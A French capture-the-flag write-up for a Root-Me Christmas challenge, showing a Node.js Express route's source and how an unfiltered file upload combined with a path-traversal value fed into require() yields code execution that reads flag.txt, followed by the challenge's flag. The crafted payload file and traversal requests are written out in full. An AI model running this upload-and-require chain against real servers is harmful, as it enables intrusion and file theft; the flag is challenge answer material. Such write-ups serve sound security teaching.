✅ Day 01 - Generous Santa

Reconnaissance

Il s'agit d'un site web node.js. Le code source est fourni.

2 pages sont présentes :

  • la page principale permet d'ajouter un cadeau à la hotte du père noël
  • un formulaire d'upload permet de suggérer un cadeau (nom <input text> et photo <input file>)

Le code source qui semble intéressant est celui du fichier hotte.js :

 1const express = require('express');
 2const fs = require('fs');
 3const path = require('path');
 4const multer = require('multer');
 5const router = express.Router();
 6
 7const storage = multer.memoryStorage();
 8const upload = multer({ storage: storage });
 9
10router.post('/add', async (req, res) => {
11    const { product } = req.body;
12
13    try {
14        const Gift = require(`../models/${product.toLowerCase()}`);
15        const gift = new Gift({ name: product, description: `Description of ${product}` });
16        output = gift.store();
17        res.json({ success: true, output: output });
18    } catch (error) {
19        res.status(500).json({ message: `Error adding the product ${product}. ${error.message}` });
20    }
21});
22
23router.post('/suggest', upload.single('photo'), (req, res) => {
24    const { name } = req.body;
25
26    if (!name || !req.file) {
27        return res.status(400).json({ message: 'Name and photo are required.' });
28    }
29
30    const now = new Date();
31    const dateStr = now.toISOString().split('T')[0];
32    const timeStr = `${now.getHours()}-${now.getMinutes()}-${now.getSeconds()}`;
33    const tempDir = path.join('/tmp', `${dateStr}_${timeStr}`);
34
35    fs.mkdirSync(tempDir, { recursive: true });
36
37    const tempPath = path.join(tempDir, req.file.originalname);
38
39    fs.writeFile(tempPath, req.file.buffer, (err) => {
40        if (err) {
41            return res.status(500).json({ message: `Error saving the image: ${err.message}` });
42        }
43        res.json({ message: `Thank you! Santa will consider your suggestion.`, photoPath: tempPath });
44    });
45});
46
47module.exports = router;

Formulaire d'Upload

On constate en lisant le code, qu'il n'y a aucun filtre sur l'extension du fichier, ni sur le nom.
En revanche, le fichier est placé dans un répertoire /tmp/${dateStr}_${timeStr}
En plaçant un fichier js, et en trouvant un moyen de l'appeler, on comprend que cela va permettre le lire le fichier flag.txt...
En validant le formulaire, on voit que la réponse HTTP est de la forme:

1HTTP/2 200 OK
2Content-Type: application/json; charset=utf-8
3
4{"message":"Thank you! Santa will consider your suggestion.","photoPath":"/tmp/2024-12-01_19-56-20/totoiste.js"}

API d'ajout de cadeau dans la hotte

On utilise Burp et on trouve qu'en cliquant sur un cadeau, l'API suivante est call :

1POST /api/add HTTP/2
2Host: day1.challenges.xmas.root-me.org
3
4{"product":"Bugatti"}

On regarde le code et on voit qu'il n'y a aucune contrainte ni filtre sur le nom avant de l'utiliser...
Dans le répéteur Burp, on change le nom du produit par :

1POST /api/add HTTP/2
2Host: day1.challenges.xmas.root-me.org
3
4{"product":"../../../tmp/2024-12-01_19-56-20/totoiste"}

et on obtient :

1{"message":"Error adding the product ../../../tmp/2024-12-01_19-43-17/totoiste. Gift is not a constructor"}

Huuum...
2 mots sur ce payload : ../../../tmp/2024-12-01_19-43-17/totoiste :
D'abord le path. Dans le dockerfile, on trouve : WORKDIR /usr/app, ce qui indique qu'il faut reculer de 3 dirs
Ensuite, on utilise le nom du répertoire créé dans /tmp et retire les lettres de l'extension (js) car cette variable va aller dans un require()
L'erreur ensuite : Gift is not a constructor
Il va falloir forger un fichier constructor puis modifier la fonction store() pour aller lire le flag...

Voici le contenu du fichier upload = totoiste.js :

 1const fs = require('fs');
 2
 3class Gift {
 4    constructor({ name, description }) {
 5        this.name = name;
 6        this.description = description;
 7    }
 8
 9    store() {
10        const filePath = '../../flag.txt';
11        const fileContent = fs.readFileSync(filePath, 'utf8');
12        return `${fileContent}`;
13    }
14}
15
16module.exports = Gift;

On upload, on call l'API add et tada...

FLAG

The flag is : RM{Mayb3_S4nt4_Cl4uS_Als0_G3t_A_Flag}